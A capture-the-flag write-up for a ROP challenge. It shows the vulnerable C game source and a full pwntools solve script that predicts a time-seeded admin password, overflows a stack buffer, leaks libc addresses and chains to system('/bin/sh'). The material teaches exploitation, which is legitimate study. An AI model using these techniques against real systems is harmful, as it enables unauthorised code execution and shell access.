#rop # Understanding the Challenge Source is given as always as well as compile options ## Compile Options `gcc vuln.c -fno-stack-protector -no-pie -o vuln` No canary, no pie ## Source ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <stdint.h> //gcc vuln.c -fno-stack-protector -no-pie -o vuln int first = 1; int pass; typedef struct game { unsigned long long score; unsigned long long rng[100]; } game; void print_menu() { puts("What choice do u want to make?"); puts(" [1] Play the game"); puts(" [2] Dev-Stuff"); puts(" [3] Exit"); printf("\n > "); } void print_gamestart() { puts("What choice do u want to make?"); puts(" [1] Play the game"); puts(" [2] Dont play the game"); printf("\n > "); } void print_game_menu() { puts("What choice do u want to make?"); puts(" [1] Play the game"); puts(" [2] Give up and print answers"); puts(" [3] Restart Game"); printf("\n > "); } void print_admin_console() { puts("What choice do u want to make?"); puts(" [1] Do some dev stuff."); puts(" [2] Cheat to the top!"); printf("\n > "); } int init_pass() { if (first) { srand(time(NULL)); pass = rand(); first = 0; } return pass; } int get_option() { char buf[0x20]; if (fgets(buf, sizeof(buf), stdin) == NULL) { exit(-1); } return atoi(buf); } void play_game() { uint32_t choice; unsigned long long * player_guess = (unsigned long long *)malloc(16 * 8); game cur_game; print_gamestart(); choice = get_option(); switch(choice) { case 1: cur_game.score = 0; for (int i=0; i < 100; i++) cur_game.rng[i] = rand(); break; case 2: return; } print_game_menu(); choice = get_option(); switch(choice) { case 1: for(int i=0; i < 10; i++) { player_guess[i] = get_option(); if (player_guess[i] == cur_game.rng[(i + rand()) % 100]) { printf("Good job, you got a point!\n"); cur_game.score++; } } if (cur_game.score == 8) { printf("Nice! You win!\n"); return; } break; case 2: for (int i=0; i < 100; i++) printf("%d. %llx\n", i, cur_game.rng[i]); return; case 3: play_game(); break; default: printf("Invalid option!\n"); break; } } unsigned int authenticate_admin() { int admin_pass; char zero_padding[4096]; //stack padding for added security int user_pass; admin_pass = init_pass(); printf("Please enter your administrator password: "); user_pass = get_option(); if (user_pass != admin_pass) return 0; return 1; } void admin_console() { char name[0x28]; uint32_t choice; if (!authenticate_admin()) { puts("You aren't admin!\n"); return; } puts("You are admin, what do you want to do?"); print_admin_console(); choice = get_option(); switch(choice) { case(1): puts("You chose not to cheat. Good job! Also kinda boring though."); break; case(2): puts("Who do you want to set as the newest highscore?"); fgets(name,0x120,stdin); default: printf("Invalid option!\n"); break; } } void menu() { uint32_t choice; while(1) { print_menu(); choice = get_option(); switch(choice) { case(1): play_game(); break; case(2): admin_console(); break; case(3): return; } } } void main() { puts("[*] Starting Challenge\n"); menu(); } ``` With admin features, it looks like that will be part of the goal. To break the login password we can predict what it will be by seeding random with the time and running rand. The following code logs in as admin: ```python from pwn import * import ctypes context.binary = elf = ELF("./vuln") io = elf.process() def login(): io.sendline("2") libc = ctypes.CDLL(elf.libc.path) libc.srand(libc.time(0)) password = libc.rand() print("Password:", repr(password)) io.sendline(str(password)) login() io.interactive() ``` # The Vuln In the admin console, there is an option to cheat. ```python ... if (rax_5 == 2) puts(str: "Who do you want to set as the newest highscore?") void var_38 fgets(buf: &var_38, n: 0x120, fp: stdin) rax_2 = puts(str: "Invalid option!") ... ``` If we choose to cheat we are gifted with a buffer overflow letting us write 0x120 bytes into an 0x38 byte buffer. Any more than 0x38 bytes and we control `rip` # The Exploit To exploit, we will want to leak libc and then rop to a `one_gadget` or call `system(/bin/sh)` I leaked 2 symbols that we could use to plug in to [libc.rip](http://libc.rop), however, I already know which libc version I am using so I dont need to do that. If you get a `movaps` issue, adding a `ret` in the beginning of the chain will fix. ## Solve ```python from pwn import * import ctypes context.binary = elf = ELF("./vuln") _libc = elf.libc io = elf.process() #gdb.attach(io,"b *0x40170d\nc") def login(): io.sendline("2") libc = ctypes.CDLL(elf.libc.path) libc.srand(libc.time(0)) password = libc.rand() print("Password:", repr(password)) io.sendline(str(password)) def cheat(payload): io.sendline("2") io.sendline(payload) login() pop_rdi = 0x4017f3 puts = 0x4010d0 ret = pop_rdi+1 payload = b"" payload += b"A"*0x38 payload += p64(ret) payload += p64(pop_rdi) payload += p64(elf.got['puts']) payload += p64(puts) payload += p64(pop_rdi) payload += p64(elf.got['fgets']) payload += p64(puts) payload += p64(elf.symbols['main']) cheat(payload) io.readuntil(b"Invalid option!\n") puts_leak = u64(io.readline().strip().ljust(8,b"\x00")) fgets_leak = u64(io.readline().strip().ljust(8,b"\x00")) print("Puts:",hex(puts_leak)) print("Fgets:",hex(fgets_leak)) _libc.address = puts_leak - _libc.symbols['puts'] print("libc:",hex(_libc.address)) login() payload2 = b"" payload2 += b"A"*0x38 payload2 += p64(ret) payload2 += p64(pop_rdi) payload2 += p64(next(_libc.search(b"/bin/sh"))) payload2 += p64(_libc.symbols['system']) cheat(payload2) io.interactive() ```